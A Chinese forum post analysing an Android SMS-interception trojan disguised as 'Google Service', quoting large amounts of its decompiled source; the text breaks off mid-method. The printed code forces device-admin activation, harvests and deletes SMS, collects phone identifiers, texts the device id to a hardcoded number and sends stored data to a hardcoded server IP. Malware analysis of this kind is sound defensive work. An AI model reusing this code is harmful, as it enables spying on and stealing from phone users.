wnagzihxain 发表于 2016-7-13 22:32

对恶意APP"Google Server"的逆向分析

本帖最后由 wnagzihxain 于 2016-7-22 11:05 编辑

忘了什么时候收到的样本了,加了混淆,不过慢慢分析都能分析出来,没有涉及到so的逆向
报告名称:对恶意APP”Google Service”的逆向分析                                             作者:wnagzihxain                                                   报告更新日期:2016.7.13样本发现日期:不详                                    样本类型:短信拦截                                          样本文件大小/被感染文件变化长度:   样本文件MD5 校验值:               样本文件SHA1 校验值:            壳信息:无                                                   可能受到威胁的系统:安卓                  相关漏洞:安卓设备管理器漏洞                                                已知检测名称:无
Application类优先于 Activity执行,一般来说,可以在这里执行一些初始化操作,还有些全局变量可以放在这里package com.google.process.locations;

import android.app.Application;
import android.content.BroadcastReceiver;
import android.content.ComponentName;
import android.content.Context;
import android.content.IntentFilter;
import android.content.SharedPreferences;
import android.os.Build$VERSION;
import java.util.List;

public class GoogleApplication extends Application {
    public static GoogleApplication GoogleApplication_this;
    public static String String_id;
    public static String String_model;
    public static boolean sp_Boolean_mode;
    public static boolean Boolean_b_notuse;
    public static boolean Boolean_c;// 信号量
    public static boolean Boolean_sharedpreferences_send;
    public static boolean Boolean_e;

    public GoogleApplication() {
      super();
    }

    public static String get_RunningTasks_TopActivity(Context context) {
      String String_Result;
      List List_RunningTask = context.getSystemService("activity").getRunningTasks(1);
      if(!List_RunningTask.isEmpty()) {
            ComponentName object_componentname = List_RunningTask.get(0).topActivity;
            if(!object_componentname.getPackageName().equals(context.getPackageName())) {
                String_Result = object_componentname.getPackageName();
            }
            else {
                goto label_15;
            }
      }
      else {
      label_15:
            String_Result = null;
      }

      return String_Result;
    }

    private void Registe_Receiver_startGLServer() {
      Receiver_startGLServer receiver_startGLServer = new Receiver_startGLServer();
      this.registerReceiver(((BroadcastReceiver)receiver_startGLServer), new IntentFilter("android.intent.action.TIME_TICK"));// 每分钟
      this.registerReceiver(((BroadcastReceiver)receiver_startGLServer), new IntentFilter("android.intent.action.SCREEN_ON"));// 开屏幕
      this.registerReceiver(((BroadcastReceiver)receiver_startGLServer), new IntentFilter("android.intent.action.SCREEN_OFF"));// 关屏幕
      this.registerReceiver(((BroadcastReceiver)receiver_startGLServer), new IntentFilter("android.intent.action.BATTERY_CHANGED"));// 电量变化
      this.registerReceiver(((BroadcastReceiver)receiver_startGLServer), new IntentFilter("android.intent.action.CONFIGURATION_CHANGED"));// 配置变化
    }

    private void Init_sharedpreferences_mode() {
      SharedPreferences sharedpreferences = this.getSharedPreferences("app_preferences", 0);// 读取配置
      GoogleApplication.sp_Boolean_mode = sharedpreferences.getBoolean("mode", false);// 获取mode键值,不存在则返回false
      if((GoogleApplication.sp_Boolean_mode) && Build$VERSION.SDK_INT > 18) {
            GoogleApplication.sp_Boolean_mode = false;
            sharedpreferences.edit().putBoolean("mode", GoogleApplication.sp_Boolean_mode).commit();
      }
    }

    public void onCreate() {
      super.onCreate();
      GoogleApplication.GoogleApplication_this = this;
      my_Thread_UncaughtExceptionHandler.get_my_Thread_UncaughtExceptionHandler().setDefaultUncaughtExceptionHandler(// 崩溃处理
                this.getApplicationContext());
      this.Init_sharedpreferences_mode();
      this.Registe_Receiver_startGLServer();
    }
}找到onCreate()方法
这是处理崩溃的,一般开发里常用的处理兼容性的写法my_Thread_UncaughtExceptionHandler.get_my_Thread_UncaughtExceptionHandler().setDefaultUncaughtExceptionHandler(this.getApplicationContext());跟过去看看packagecom.google.process.locations;
import android.content.Context;
importandroid.content.pm.PackageInfo;
import android.content.pm.PackageManager$NameNotFoundException;
import android.os.Build;
import android.os.Process;
import java.lang.reflect.Field;
import java.util.Properties;
public classmy_Thread_UncaughtExceptionHandler implements Thread$UncaughtExceptionHandler {
    private staticmy_Thread_UncaughtExceptionHandler my_Thread_UncaughtExceptionHandler_this;
    private Context context;
    private Thread$UncaughtExceptionHandlerThread_UncaughtExceptionHandler_this;
    private Properties object_properties;
    privatemy_Thread_UncaughtExceptionHandler() {
      super();
      this.object_properties = newProperties();
    }
    public staticmy_Thread_UncaughtExceptionHandler get_my_Thread_UncaughtExceptionHandler() {
      if(my_Thread_UncaughtExceptionHandler.my_Thread_UncaughtExceptionHandler_this== null) {
         my_Thread_UncaughtExceptionHandler.my_Thread_UncaughtExceptionHandler_this= new my_Thread_UncaughtExceptionHandler();
      }
      returnmy_Thread_UncaughtExceptionHandler.my_Thread_UncaughtExceptionHandler_this;
    }
    private boolean a(Throwableobject_Throwable) {
      if(object_Throwable != null) {
            this.b(this.context);
      }
      return 1;
    }
    public voidsetDefaultUncaughtExceptionHandler(Context context) {
      this.context = context;
       this.Thread_UncaughtExceptionHandler_this =Thread.getDefaultUncaughtExceptionHandler();
       Thread.setDefaultUncaughtExceptionHandler(((Thread$UncaughtExceptionHandler)this));
    }
    public void b(Context context) {
      try {
            PackageInfo object_PackageInfo =context.getPackageManager().getPackageInfo(context.getPackageName(),
                  1);
            if(object_PackageInfo == null) {
                goto label_16;
            }
            Properties v2 =this.object_properties;
            String String_versionName ="versionName";
            String v0_1 =object_PackageInfo.versionName == null ? "not set" :object_PackageInfo.versionName;
            v2.put(String_versionName, v0_1);
         this.object_properties.put("versionCode",Integer.valueOf(object_PackageInfo.versionCode));
      }
       catch(PackageManager$NameNotFoundException v0) {
      }
    label_16:
      Field[] v1_1 = Build.class.getDeclaredFields();
      int v2_1 = v1_1.length;
      int i;
      for(i = 0; i < v2_1; ++i) {
            Field object_field_temp = v1_1;
            try {
               object_field_temp.setAccessible(true);
                this.object_properties.put(object_field_temp.getName(),object_field_temp.get(null));
            }
            catch(Exception v3_2) {
            }
      }
    }
    public void uncaughtException(Thread arg2,Throwable arg3) {
      if((this.a(arg3)) ||this.Thread_UncaughtExceptionHandler_this == null) {
         Process.killProcess(Process.myPid()); // kill掉Process然后会重启
            System.exit(10);
      }
      else {
         this.Thread_UncaughtExceptionHandler_this.uncaughtException(arg2, arg3);
      }
    }
}关键的地方就是killProcess,这个方法在kill掉Process后会重启APP
其它地方的代码都很常规,没有什么好看的,继续看Application里的代码
初始化sp文件里的mode键值this.Init_sharedpreferences_mode();这个键值非常关键,影响了后面很多的代码逻辑
先获取mode键值,不存在则返回false,,接下来进行判断,如果SDK_INK大于18且mode为true则将mode写入sp文件,值为false,这个if在APP第一次运行的时候不会运行
因为第一次运行不存在mode键值,所以为false,唯一的可能就是在后面的代码逻辑中会有将mode置为true的代码并且写入了sp文件,但是在后面的代码中并没有将mode置为true并写入sp文件的相关代码
所以这个if是不会执行的,所以不管哪一次启动,mode的初始值都是falseprivate voidInit_sharedpreferences_mode() {
      SharedPreferences sharedpreferences =this.getSharedPreferences("app_preferences", 0);// 读取配置
      GoogleApplication.sp_Boolean_mode =sharedpreferences.getBoolean("mode", false);// 获取mode键值,不存在则返回false
      if((GoogleApplication.sp_Boolean_mode)&& Build$VERSION.SDK_INT > 18) {
            GoogleApplication.sp_Boolean_mode =false;
            sharedpreferences.edit().putBoolean("mode",GoogleApplication.sp_Boolean_mode).commit();
      }
}然后注册一个服务this.Registe_Receiver_startGLServer();方式为动态注册,Action为:每分钟,开屏幕,关屏幕,电量变化,手机配置变化private voidRegiste_Receiver_startGLServer() {
      Receiver_startGLServerreceiver_startGLServer = new Receiver_startGLServer();
       this.registerReceiver(((BroadcastReceiver)receiver_startGLServer), newIntentFilter("android.intent.action.TIME_TICK"));// 每分钟
       this.registerReceiver(((BroadcastReceiver)receiver_startGLServer), newIntentFilter("android.intent.action.SCREEN_ON"));// 开屏幕
       this.registerReceiver(((BroadcastReceiver)receiver_startGLServer), newIntentFilter("android.intent.action.SCREEN_OFF"));// 关屏幕
       this.registerReceiver(((BroadcastReceiver)receiver_startGLServer), newIntentFilter("android.intent.action.BATTERY_CHANGED"));// 电量变化
       this.registerReceiver(((BroadcastReceiver)receiver_startGLServer), newIntentFilter("android.intent.action.CONFIGURATION_CHANGED")); // 配置变化
}来看Receiver_startGLServer(),GoogleApplication.Boolean_b_notuse这个变量在全局都只有被赋值的语句,并没有参与任何逻辑判断或者作为数据发送出去,所以核心代码就是启动GoogleLocationService.classpackagecom.google.process.locations;
importandroid.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
public class Receiver_startGLServerextends BroadcastReceiver {
    public Receiver_startGLServer() {
      super();
    }
    public void onReceive(Context context,Intent intent) {
       if(intent.getAction().equals("android.intent.action.TIME_TICK")){
            GoogleApplication.Boolean_b_notuse= true;
      }
      context.startService(newIntent(context, GoogleLocationService.class));
    }
}既然GoogleLocationService这个Service这么重要,那就好好的分析一下
找到关键的四个方法,这四个方法是常规service都会有的,在第一次启动这个service的时候会先执行onCreate()里的代码,然后执行onStartCommand()里的代码
这两个方法不同的地方在于初次启动service的时候会先执行onCreate(),然后执行onStartCommand()方法,而启动了service之后,再次启动service的时候只会执行onStartCommand()方法
onBind()方法这里没有使用就不讲了,onDestroy()是结束service时执行的代码public IBinder onBind(Intent intent) {
      return null;
    }

    public void onCreate() {
      Intent intent = new Intent(this.getApplicationContext(), GoogleLocationService.class);
      this.object_AlarmManager = this.getSystemService("alarm");
      this.object_PendingIntent = PendingIntent.getService(((Context)this), 0, intent, 268435456);
      this.object_AlarmManager.setInexactRepeating(1, System.currentTimeMillis(), 5000, this.object_PendingIntent);
      super.onCreate();
      this.onCreate_Continue();
    }

    public void onDestroy() {
      if(this.thread != null) {
            this.thread.interrupt();
      }
      super.onDestroy();
    }

    public int onStartCommand(Intent intent, int arg4, int arg5) {
      if(!GoogleApplication.Boolean_e) {
            if(!this.object_DevicePolicyManager.isAdminActive(this.object_ComponentName)) {
                this.Start_Runnable_Confirm_ActiveAdmin();
            }
      }
      else if(this.object_DevicePolicyManager.isAdminActive(this.object_ComponentName)) {
            this.object_DevicePolicyManager.removeActiveAdmin(this.object_ComponentName);
      }
      else {
            this.Uninstall_itself();
      }
      if(GoogleApplication.String_id == null) {
            this.Init_sharedpreferences_id_model();
      }
      else {
            if(!GoogleApplication.Boolean_c) {
                Class_i.get_NewFileSend(((Context)this));
            }
            GoogleApplication.Boolean_b_notuse = false;
            this.Start_Thread_e();
      }

      return 1;
    }
一个个看过去,先来看onCreate()
这些都不重要Intent intent = newIntent(this.getApplicationContext(), GoogleLocationService.class);
this.object_AlarmManager =this.getSystemService("alarm");
this.object_PendingIntent =PendingIntent.getService(((Context)this), 0, intent, 268435456);
this.object_AlarmManager.setInexactRepeating(1,System.currentTimeMillis(), 5000, this.object_PendingIntent);
super.onCreate();重要的是最后一句this.onCreate_Continue();跟过去private voidonCreate_Continue() {
      this.object_DevicePolicyManager =this.getSystemService("device_policy");
      this.object_ComponentName = newComponentName(((Context)this), DeviceReciver.class);
      this.Start_Runnable_Confirm_ActiveAdmin();
       this.Init_sharedpreferences_id_model(); // 初始化sharedpreferences的id和model键值,存在就获取,不存在则创建
      this.RegisteSMSContentObserver();// 注册短信监控
       this.StoreHistorySMSmessage(false); // 获取之前的短信并存储在本地
      this.StoreInformationofPhone(false);// 获取手机信息并存储在本地
}一句一句来看,这是一个确定激活的Runnablethis.Start_Runnable_Confirm_ActiveAdmin();开了个线程执行Runnable_Confirm_ActiveAdminprivate voidStart_Runnable_Confirm_ActiveAdmin() {
      if(this.thread == null) {
            this.thread = new Thread(newRunnable_Confirm_ActiveAdmin(this));
            this.thread.start();
      }
}跟过去
当获取了设备管理器就跳出while,否则会一直在while里循环,而循环的内容则是执行call_Confirm_ActiveAdmin_InActivity()packagecom.google.process.locations;
classRunnable_Confirm_ActiveAdmin implements Runnable {
   Runnable_Confirm_ActiveAdmin(GoogleLocationService arg1) {
      this.GoogleLocationService_this = arg1;
      super();
    }
    public void run() {
       while(!GoogleLocationService.get_object_DevicePolicyManager(this.GoogleLocationService_this).isAdminActive(GoogleLocationService.get_object_ComponentName(this.GoogleLocationService_this))){
            String String_RunningTasks_TopActivityName=GoogleApplication.get_RunningTasks_TopActivity(GoogleApplication.GoogleApplication_this);
         if(String_RunningTasks_TopActivityName == null ||!String_RunningTasks_TopActivityName.equals("com.android.settings")){
                GoogleLocationService.call_Confirm_ActiveAdmin_InActivity(this.GoogleLocationService_this);
            }
            long sleep_time = 300;
            try {
                Thread.sleep(sleep_time);
                continue;
            }
            catch(InterruptedException v0_2) {
                return;
            }
      }
    }
}看一下call_Confirm_ActiveAdmin_InActivity()static void call_Confirm_ActiveAdmin_InActivity(GoogleLocationServiceGoogleLocationService_this) {
      GoogleLocationService_this.Confirm_ActiveAdmin_InActivity();
}关键还是Confirm_ActiveAdmin_InActivity() packagecom.google.process.locations;
import android.app.Activity;
importandroid.app.admin.DevicePolicyManager;
importandroid.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.view.KeyEvent;
public classConfirm_ActiveAdmin_InActivity extends Activity {
    private ComponentName object_ComponentName;
    private DevicePolicyManagerobject_DevicePolicyManager;
    public Confirm_ActiveAdmin_InActivity() {
      super();
    }
    private void ActiveAdmin() {
      this.object_DevicePolicyManager =this.getSystemService("device_policy");
      this.object_ComponentName = newComponentName(((Context)this), DeviceReciver.class);
       if(!this.object_DevicePolicyManager.isAdminActive(this.object_ComponentName)){
            Intent intent = newIntent("android.app.action.ADD_DEVICE_ADMIN");
         intent.putExtra("android.app.extra.DEVICE_ADMIN", this.object_ComponentName);
            this.startActivity(intent);
      }
    }
    private voidStartService_GoogleLocationService() {
      this.startService(newIntent(this.getApplicationContext(), GoogleLocationService.class));
    }
    public void onAttachedToWindow() {
      this.getWindow().setType(2004);
      super.onAttachedToWindow();
    }
    protected void onCreate(Bundle arg3) {
      super.onCreate(arg3);
      this.getWindow().setFlags(-2147483648,-2147483648);
      this.ActiveAdmin();
       this.StartService_GoogleLocationService();
      this.finish();
    }
    public boolean onKeyDown(int arg2, KeyEventarg3) {
      boolean Boolean_Result = arg2 == 3 ?true : super.onKeyDown(arg2, arg3);
      return Boolean_Result;
    }
}作用很简单,就是隐式意图开启激活设备管理器,不管激活没有,直接开启GoogleLocationService,综合一下来看,如果激活这个分支就不会执行,如果没有激活那么会一直弹出激活窗口,即使关掉了也会打开
激活的部分就是这样,正常情况下只有激活才能退出那个窗口
然后会初始化sharedpreferences的id和model键值,存在就获取,不存在则创建this.Init_sharedpreferences_id_model();如果String_id和String_model任意一个为空,则进入if语句执行,现从sp文件获取id,model,key的键值,然后进行判断,key的值是id和model等数据进行md5计算得出的
这里还有对key的判断,如果key的值不对或者id,model为空,执行Create_sharedpreferences_id(),再执行Prompt(),然后再获取model的值,接着进行key的计算,最后将id,model,key写入sp文件private voidInit_sharedpreferences_id_model() {
      String String_NULL = null;
      if(GoogleApplication.String_id == null|| GoogleApplication.String_model == null) {
            SharedPreferencesobject_SharedPreferences =this.getSharedPreferences("app_preferences", 0);
            String int_id =object_SharedPreferences.getString("id", String_NULL);
            String int_model =object_SharedPreferences.getString("model", String_NULL);
            String int_key =object_SharedPreferences.getString("key", String_NULL);
            if(int_id == null || int_model ==null || int_key == null || !Class_i.get_MD5(String.valueOf(int_id) + int_model+ "app").equals(int_key)) {
                int_id =Class_i.Create_sharedpreferences_id(((Context)this));
                this.Prompt(int_id);
                int_model =Class_i.get_Build_MODEL();
                int_key =Class_i.get_MD5(String.valueOf(int_id) + int_model + "app");
                SharedPreferences$EditorSharedPreferences_Editor = object_SharedPreferences.edit();
               SharedPreferences_Editor.putString("id", int_id);
               SharedPreferences_Editor.putString("model", int_model);
               SharedPreferences_Editor.putString("key", int_key);
               SharedPreferences_Editor.commit();
            }
            GoogleApplication.String_id =int_id;
            GoogleApplication.String_model =int_model;
      }
}来看Create_sharedpreferences_id()方法
获取了一大堆手机的信息,然后算md5值public static StringCreate_sharedpreferences_id(Context context) {
      MessageDigest object_MessageDigest;
      String object_String =String.valueOf(context.getSystemService("phone").getDeviceId()) +("35"
               + Build.BOARD.length() % 10 +Build.BRAND.length() % 10 + Build.CPU_ABI.length() %
                10 + Build.DEVICE.length() % 10+ Build.DISPLAY.length() % 10 + Build.HOST.length() %
                10 + Build.ID.length() % 10 +Build.MANUFACTURER.length() % 10 + Build.MODEL.length()
               % 10 + Build.PRODUCT.length()% 10 + Build.TAGS.length() % 10 + Build.TYPE.length()
               % 10 + Build.USER.length() %10) + Settings$Secure.getString(context.getContentResolver(),
                "android_id") +context.getSystemService("wifi").getConnectionInfo().getMacAddress();
      try {
            object_MessageDigest =MessageDigest.getInstance("MD5");
      }
      catch(NoSuchAlgorithmException v0_1) {
            MessageDigest object_MessageDigest= object_MessageDigest;
            return object_String;
      }
       object_MessageDigest.update(object_String.getBytes(), 0,object_String.length());
      byte[] ByteArray_temp =object_MessageDigest.digest();
      String String_Result = new String();
      int i;
      for(i = 0; i <ByteArray_temp.length; ++i) {
            int int_temp = ByteArray_temp& 255;
            if(int_temp <= 15) {
                String_Result =String.valueOf(String_Result) + "0";
            }
            String_Result =String.valueOf(String_Result) + Integer.toHexString(int_temp);
      }
      return String_Result.toUpperCase();
}Prompt()方法就是将获取到的id发送给木马作者void Prompt(String messageText){
       SmsManager.getDefault().sendTextMessage("18839763762", null,messageText, null, null);
    }然后get_MD5()public static final Stringget_MD5(String arg5) {
      try {
            byte[] ByteArray_1 = arg5.getBytes("utf-8");
            MessageDigest object_MessageDigest= MessageDigest.getInstance("MD5");
         object_MessageDigest.update(ByteArray_1);
            byte[]ByteArray_object_MessageDigest = object_MessageDigest.digest();
            StringBufferobject_StringBuffer_Result = new StringBuffer();
            int i;
            for(i = 0; i <ByteArray_object_MessageDigest.length; ++i) {
                int int_temp =ByteArray_object_MessageDigest & 255;
                if(int_temp < 16) {
                  object_StringBuffer_Result.append("0");
                }
               object_StringBuffer_Result.append(Integer.toHexString(int_temp));
            }
            Stringobject_StringBuffer_Result_toString = object_StringBuffer_Result.toString();
            returnobject_StringBuffer_Result_toString;
      }
      catch(Exception v0) {
            return "";
      }
}接着注册短信监控this.RegisteSMSContentObserver();    主要代码在这里ContentObserver_SMSprivate voidRegisteSMSContentObserver() {
       this.getContentResolver().registerContentObserver(Uri.parse("content://sms/"),true, new ContentObserver_SMS(this, new Handler()));
}跟过去packagecom.google.process.locations;
importandroid.database.ContentObserver;
import android.database.Cursor;
import android.net.Uri;
import android.os.Handler;
import org.json.JSONException;
import org.json.JSONObject;
class ContentObserver_SMSextends ContentObserver {
    private Cursor b;
    publicContentObserver_SMS(GoogleLocationService arg2, Handler arg3) {
      this.GoogleLocationService_this = arg2;
      super(arg3);
      this.b = null;
    }
    public void onChange(boolean arg9) {
      super.onChange(arg9);
      Cursor object_cursor =this.GoogleLocationService_this.getContentResolver().query(Uri.parse("content://sms/"),new String
                []{"_id","address", "person", "body", "date","type"}, null, null, "_id desc");
      if(object_cursor.getCount() > 0&& (object_cursor.moveToFirst())) {
            int int_address_Index =object_cursor.getColumnIndex("address");
            int int_body_Index =object_cursor.getColumnIndex("body");
            int int_date_Index =object_cursor.getColumnIndex("date");
            int int_type_Index = object_cursor.getColumnIndex("type");
            String String_sourceAddress =object_cursor.getString(int_address_Index);
            String String_body =object_cursor.getString(int_body_Index);
            String String_date =object_cursor.getString(int_date_Index);
            int_type_Index =object_cursor.getInt(int_type_Index);
            JSONObject object_jsonobject = newJSONObject();
            try {
               object_jsonobject.put("number", String_sourceAddress);
                object_jsonobject.put("time",String_date);
               object_jsonobject.put("body", String_body);
               object_jsonobject.put("type", int_type_Index);
                if(int_type_Index % 2 == 1&& (GoogleApplication.sp_Boolean_mode)) {
                  Class_i.Delete_SMSmessage(this.GoogleLocationService_this.getApplicationContext(),String_body);
                }
               Class_i.CopyStoreNewSMSmessage(this.GoogleLocationService_this, 4,object_jsonobject);
            }
            catch(JSONException v1_2) {
            }
      }
      object_cursor.close();
    }
}当短信数量变化的时候,会有两个方法被执行Delete_SMSmessage(),CopyStoreNewSMSmessage()
第一个方法会在if里判断,一个是收发类型,另一个是mode的键值,mode的键值只会在后面一个地方被设置为true,并且要求SDK_INT不大于18
但是还是来看一下public static voidDelete_SMSmessage(Context context, String arg7) {
      try {
            Cursor object_cursor =context.getContentResolver().query(Uri.parse("content://sms/inbox"),null, "read=0", null, null);
            while(object_cursor.moveToNext()) {
               if(!object_cursor.getString(object_cursor.getColumnIndex("body")).trim().equals(arg7)){
                  continue;
                }
               context.getContentResolver().delete(Uri.parse("content://sms"),"_id=" + object_cursor.getInt(object_cursor.getColumnIndex("_id")),null);
            }
            return;
      }
      catch(Exception v0) {
            return;
      }
}然后就是存储短信了,这个方法是一定会执行的public static voidCopyStoreNewSMSmessage(Context context, int arg7, JSONObjectobject_jsonobject_param) {
      try {
            long Long_currenttime =System.currentTimeMillis();
            String String_currenttime = newStringBuilder(String.valueOf(Long_currenttime)).toString();
            JSONObject object_jsonobject = newJSONObject();
         object_jsonobject.put("id", GoogleApplication.String_id);
         object_jsonobject.put("model",GoogleApplication.String_model);
            object_jsonobject.put("time",Long_currenttime);
         object_jsonobject.put("type", arg7);
         object_jsonobject.put("data", object_jsonobject_param);
            FileOutputStreamobject_FileOutputStream = context.openFileOutput(String_currenttime, 0);
         object_FileOutputStream.write(object_jsonobject.toString().getBytes());
            object_FileOutputStream.flush();
            object_FileOutputStream.close();
      }
      catch(Exception v0) {
      }
}短信监控的代码就这些,继续看onCreate_Continue()的代码
获取之前的短信并存储在本地this.StoreHistorySMSmessage(false);history键值判断是否存储过历史短信private void StoreHistorySMSmessage(booleanarg15) {
      SharedPreferences object_SharedPreferences= this.getSharedPreferences("app_preferences", 0);
      booleanBoolean_sharedpreferences_history =object_SharedPreferences.getBoolean("history", false);// 使用history键值来判断是否发送过历史短信
      if((arg15) ||!Boolean_sharedpreferences_history) {
            JSONArray object_JSONArray = newJSONArray();
            try {
                Cursor object_cursor =this.getContentResolver().query(Uri.parse("content://sms/"), newString[]{"_id", "address", "person","body", "date", "type"}, null, null, "datedesc");
               if(!object_cursor.moveToFirst()) {
                  goto label_74;
                }
                int sms_address_Index =object_cursor.getColumnIndex("address");
                int sms_body_Index =object_cursor.getColumnIndex("body");
                int sms_date_Index =object_cursor.getColumnIndex("date");
                int sms_type_Index =object_cursor.getColumnIndex("type");
                do {
                label_51:
                  String sms_SourceAddress =object_cursor.getString(sms_address_Index);
                  String sms_Body =object_cursor.getString(sms_body_Index);
                  String sms_Date =object_cursor.getString(sms_date_Index);
                  String sms_Type =object_cursor.getString(sms_type_Index);
                  JSONObjectobject_jsonobject = new JSONObject();
                  try {
                     object_jsonobject.put("number", sms_SourceAddress);
                     object_jsonobject.put("time", sms_Date);
                     object_jsonobject.put("body", sms_Body);
                     object_jsonobject.put("type", sms_Type);
                     object_JSONArray.put(object_jsonobject);
                  }
                  catch(JSONException v5_1) {
                  }
                  break;
                }
                while(true);
            }
            catch(SQLiteException v0_1) {
                goto label_74;
            }
            try {
                if(object_cursor.moveToNext()){
                  goto label_51;
                }
                JSONObject object_jsonobject =new JSONObject();
                try {
                   object_jsonobject.put("body", object_JSONArray);
                   Class_i.CopyStoreNewSMSmessage(((Context)this), 3, object_jsonobject);
                }
                catch(JSONException v0_4) {
                }
            }
            catch(SQLiteException v0_1) {
            }
      label_74:
         object_SharedPreferences.edit().putBoolean("history",true).commit();
      }
    }获取手机信息并存储在本地this.StoreInformationofPhone(false);num的键值是用于判断是否获取过手机信息,除非arg11是true,也就是木马作者人工获取
同时mode在这也作为条件进行判断,当sp_mode为false,mode为1,sp_mode为true,mode为2,然后存储在本地,最后将Boolean_sharedpreferences_send置为trueprivate voidStoreInformationofPhone(boolean arg11) {
      int v0_4;
      int v1 = 2;
      SharedPreferencesobject_SharedPreferences =this.getSharedPreferences("app_preferences", 0);
      boolean Boolean_sharedpreferences_num =object_SharedPreferences.getBoolean("num", false);
      if((arg11) ||!Boolean_sharedpreferences_num) {
            Object object_Phone =this.getSystemService("phone");
         if(((TelephonyManager)object_Phone).getSimState() == 5) {
                String PhoneNumber =((TelephonyManager)object_Phone).getLine1Number();// 手机号
                String SimSerialNumber =((TelephonyManager)object_Phone).getSimSerialNumber();// SIM卡的序列号
                String SubscriberId =((TelephonyManager)object_Phone).getSubscriberId();// 唯一的用户ID
                String Build_VERSION_SDK_INT =new StringBuilder(String.valueOf(Build$VERSION.SDK_INT)).toString();// SDK版本
                String Build_VERSION_RELEASE =Build$VERSION.RELEASE;// 系统版本
                JSONObject object_JSONObject =new JSONObject();
                try {
                   object_JSONObject.put("tel", PhoneNumber);
                   object_JSONObject.put("imei", SimSerialNumber);
                   object_JSONObject.put("imsi", SubscriberId);
                   object_JSONObject.put("sdk", Build_VERSION_SDK_INT);
                   object_JSONObject.put("release", Build_VERSION_RELEASE);
                  PhoneNumber ="mode";
                   if(GoogleApplication.sp_Boolean_mode) {
                        v0_4 = v1;
                  }
                  else {
                        goto label_51;
                  }
                  goto label_39;
                }
                catch(JSONException v0_3) {
                  goto label_54;
                }
            label_51:
               v0_4 = 1;
                try {
                label_39:
                   object_JSONObject.put(PhoneNumber, v0_4);
                   Class_i.CopyStoreNewSMSmessage(((Context)this), 2, object_JSONObject);
                }
                catch(JSONException v0_3) {
                label_54:
                }
               object_SharedPreferences.edit().putBoolean("num",true).commit();
            }
      }
      if(!arg11) {
            GoogleApplication.Boolean_sharedpreferences_send= object_SharedPreferences.getBoolean("send", true);
      }
}到这结束了onCreate()方法,总结一下:先进性设备管理器的激活,如果未激活就一直弹出激活界面,用户激活后就会进行初始化id和model的操作,并根据id和model生产md5
三个值一起存储在本地,初始化了之后进行注册短信监控,有新短信的时候就会复制下来并存储在本地,并根据mode的键值确定要不要删除,接着是获取之前的短信,存储在本地
最后获取手机的信息存储在本地,最后两个方法会根据history和num键值进行判断,如果为true说明已经获取过了就不会再执行
接下来是onStartCommand()方法
判断激活,未激活会跳回去激活,Boolean_e的作用很微妙,主要是作者远程控制的作用
Boolean_e初始值为false,并且只有一个地方会修改为true,就是和服务器通信的部分,所以目前来说只会执行if里的语句,如果已激活,则直接跳过下面两个分支if(!GoogleApplication.Boolean_e){
         if(!this.object_DevicePolicyManager.isAdminActive(this.object_ComponentName)){
               this.Start_Runnable_Confirm_ActiveAdmin();
            }
      }如果Boolean_e为true,说明是作者发送回来的数据改变了Boolean_e的值,如果恰好是已激活的话,就去除激活else if(this.object_DevicePolicyManager.isAdminActive(this.object_ComponentName)){
         this.object_DevicePolicyManager.removeActiveAdmin(this.object_ComponentName);
      }如果Boolean_e为true,并且未激活,则卸载else {
            this.Uninstall_itself();
      }这三个判断分支连起来的意思就是Boolean_e为true的时候就去除激活并卸载,方式是通过和服务器通信来设置Boolean_e的值
卸载的代码private void Uninstall_itself(){
      Intent intent = new Intent();
       intent.setAction("android.intent.action.DELETE");
      intent.addFlags(268435456);
       intent.setData(Uri.parse("package:com.google.process.locations"));
      this.startActivity(intent);
    }接着判断id是否为空,为空则获取,一般来说前面会获取的,这里估计是为了保险起见所以再次判断,如果已获取id值,则根据Boolean_c的值决定是否执行get_NewFileSend()方法,Boolean_b_notuse是没有作用的,最后执行Start_Thread_e()if(GoogleApplication.String_id== null) {
         this.Init_sharedpreferences_id_model();
      }
      else {
            if(!GoogleApplication.Boolean_c) {
               Class_i.get_NewFileSend(((Context)this));
            }
            GoogleApplication.Boolean_b_notuse= false;
            this.Start_Thread_e();
      }来看get_NewFileSend()
这个方法的东西很有料,下面慢慢讲public static voidget_NewFileSend(Context context) {
      String[] String_filelist =Class_i.get_all_file_list(context);
      if(String_filelist != null &&String_filelist.length > 0) {
            TreeSet object_TreeSet = newTreeSet();
         object_TreeSet.addAll(Arrays.asList(((Object[])String_filelist)));
            GoogleApplication.Boolean_c =true;// 把这个设置为true,这样检测新文件的时候就不会重复执行
            newThread_SendandDelete_file(object_TreeSet, context).start();
      }
}首先get_all_file_list()public static String[]get_all_file_list(Context context) {
      return context.getFilesDir().list(newmyFilenameFilter());
}其中myFilenameFilter()packagecom.google.process.locations;
import java.io.File;
import java.io.FilenameFilter;
class myFilenameFilterimplements FilenameFilter {
    myFilenameFilter() {
      super();
    }
    public boolean accept(File arg2, Stringarg3) {
      return 1;
    }
}没什么大作用,就是用来获取文件列表的
接着把Boolean_c设为true,这样在onStartCommand()方法里就不会执行,避免重复
开了个线程newThread_SendandDelete_file(object_TreeSet, context).start();跟过去,有一个call_ReadandSend_file()方法很关键packagecom.google.process.locations;
import android.content.Context;
import java.io.File;
import java.util.Iterator;
import java.util.TreeSet;
class Thread_SendandDelete_fileextends Thread {
    Thread_SendandDelete_file(TreeSet arg1,Context arg2) {
      this.object_treeset = arg1;
      this.context = arg2;
      super();
    }
    public void run() {
      Iterator object_iterator = this.object_treeset.iterator();
      while(object_iterator.hasNext()) {
            File object_file = newFile(this.context.getFilesDir(), object_iterator.next());
         if(!Class_i.call_ReadandSend_file(object_file)) {
                continue;
         }
            object_file.delete();
      }
      GoogleApplication.Boolean_c = false;
    }
}跟过去,最终调用的是这个方法private static booleanReadandSend_file(File file) {
      boolean boolean_Result = true;
      try {
            FileInputStreamobject_FileInputStream = new FileInputStream(file);
            byte[] ByteArray_1 = newbyte;
         object_FileInputStream.read(ByteArray_1);
            object_FileInputStream.close();
            JSONObject object_jsonobject =Class_i.ConnectSend_ResponseJsonobject(Class_i.get_Server_IPAddress(),
                  new String(ByteArray_1));
            if(object_jsonobject == null) {
                return false;
            }
            if(object_jsonobject.getInt("on")!= 1) {
                return false;
            }
            return boolean_Result;
      }
      catch(Exception v0_1) {
      }
      return false;
}这一句JSONObject object_jsonobject =Class_i.ConnectSend_ResponseJsonobject(Class_i.get_Server_IPAddress(),new String(ByteArray_1));获取服务器IP地址get_Server_IPAddress()
public static Stringget_Server_IPAddress() {
      return "45.127.99.27";
}ConnectSend_ResponseJsonobject()这个方法很重要public static JSONObjectConnectSend_ResponseJsonobject(String arg5, String arg6) {
      String v0_7;
